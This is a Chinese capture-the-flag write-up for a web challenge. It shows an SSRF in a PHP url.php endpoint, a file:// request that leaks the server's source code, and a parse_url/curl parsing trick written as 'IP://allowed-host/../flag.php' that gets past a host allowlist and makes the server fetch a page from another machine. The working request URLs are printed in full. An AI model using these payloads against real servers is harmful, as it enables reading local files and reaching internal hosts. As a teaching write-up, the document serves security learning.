-
-
[原创]第四题 飞蛾扑火 WP
-
2022-5-16 12:43 5715
-
说实话,拿到此题时一眼蒙,就一个URL,打开URL内容如下:
http://121.36.145.157:8044/
1 2 3 4 5 6 7 8 9 10 | <html> <head> <meta charset = "utf-8" > <title>欢迎挑战 Design by 香草< / title> < / head> <body> <! - - phpinfo.php - - > <img src = "url.php?url=https://ctf.pediy.com/upload/team/762/team236762.png" > < / body> < / html> |
页面上就出一个图 ,WEB的题的确没怎么玩,不知道怎么玩,但可以看出那个图的src是通过url.php去读文件https://ctf.pediy.com/upload/team/762/team236762.png,且注释中有一个页面的提示<!-- phpinfo.php-->
打开这个页面,可以看到PHP的一些配置.之后就在网上查PHP漏洞,看到网上有介绍SSRF漏洞,可以用file://协议访问服务器上的文件,但需要服务器开启allow_url_fopen ,通过查看phpinfo.php中的内容,得知:allow_url_fopen On ,正好是开启的,同时还看到网页的根目录在服务器上的位置:DOCUMENT_ROOT /var/www/html ,因此构造一个URL可以读到url.php的内容,URL为::
http://121.36.145.157:8044/url.php?url=file://localhost/var/www/html/url.php
读到的url.php的内容为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | <?php function curl_request($url, $data = null, $method = 'get' , $header = array( "content-type: application/json" ), $https = true, $timeout = 5 ){ $method = strtoupper($method); $ch = curl_init(); / / 初始化 curl_setopt($ch, CURLOPT_URL, $url); / / 访问的URL curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); / / 只获取页面内容,但不输出 if ($https){ curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); / / https请求 不验证证书 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); / / https请求 不验证HOST } if ($method ! = "GET" ) { if ($method = = 'POST' ){ curl_setopt($ch, CURLOPT_POST, true); / / 请求方式为post请求 } if ($method = = 'PUT' || strtoupper($method) = = 'DELETE' ) { curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); / / 设置请求方式 } curl_setopt($ch, CURLOPT_POSTFIELDS, $data); / / 请求数据 } curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_HTTPHEADER, $header); / / 模拟的header头 / / curl_setopt($ch, CURLOPT_HEADER, false); / / 设置不需要头信息 $result = curl_exec($ch); / / 执行请求 curl_close($ch); / / 关闭curl,释放资源 return $result; } $url = $_GET[ "url" ]; $uu = parse_url($url); $host = isset($uu[ "host" ])?$uu[ "host" ]:""; $scheme = isset($uu[ "scheme" ])?$uu[ "scheme" ]:""; if (empty($host)){ die( "host is null" ); } if (empty($scheme)){ die( "scheme is null" ); } / / https: / / ctf.pediy.com / upload / team / 762 / team236762.png? if ($host = = "ctf.pediy.com" ||$host = = "127.0.0.1" ||$host = = "localhost" ){ / / echo curl_request( "http://123.57.254.42/flag.php" , "get" ,[],true, 5 ); / / get flag echo curl_request($url,'', "get" ,[],true, 5 ); } else { die( "host not allow" ); } ?> |
从url.php的内容可看到,这儿对HOST有检测,传入的URL经parse_url解析后,只有HOST为ctf.pediy.com 或 127.0.0.1 或 localhost 才能通过 检测. 同时可以看到文件中有注释:
//echo curl_request("http://123.57.254.42/flag.php","get",[],true,5);//get flag
即 flag可以通过访问另一个服务器上的页面http://123.57.254.42/flag.php 得到,在本地打开这个页面看到提示:
error ip
明显看出这个页面也有IP检测,只有通过目标服务器IP(121.36.145.157)访问才能得到flag,也就是说,可以通过构造一个URL由目标服务器来访问flag页面:
http://121.36.145.157:8044/url.php?url=http://123.57.254.42/flag.php
不过在本地打开这个URL,提示:
host not allow
显然,这是没有通过目标服务器的HOST检测,从url.php的源码也看得出来会是这样的结果:parse_url对http://123.57.254.42/flag.php 解析后host是123.57.254.42 ,当然不在白名单中.
在这儿卡了很久,又在网上搜parse_url的漏洞,终于找到适合这题的漏洞:
当URL 前面为 xxxx://yyyy/ 时,经parse_url解析后:host 为 yyyy, 而curl访问时又是访问的主机又是 xxxx ,这就能绕过url.php中的域名检测.
构造 yyyy 在 url.php 的 白名单中的 URL:
http://121.36.145.157:8044/url.php?url=123.57.254.42://ctf.pediy.com/../flag.php
或
http://121.36.145.157:8044/url.php?url=123.57.254.42://127.0.0.1/../flag.php
或
http://121.36.145.157:8044/url.php?url=123.57.254.42://localhost/../flag.php
上面三个URL都能通过检测 ,在本地打开任意一个,就能拿到flag了:
1 | flag{xxx_999()xx * @eeEEE} |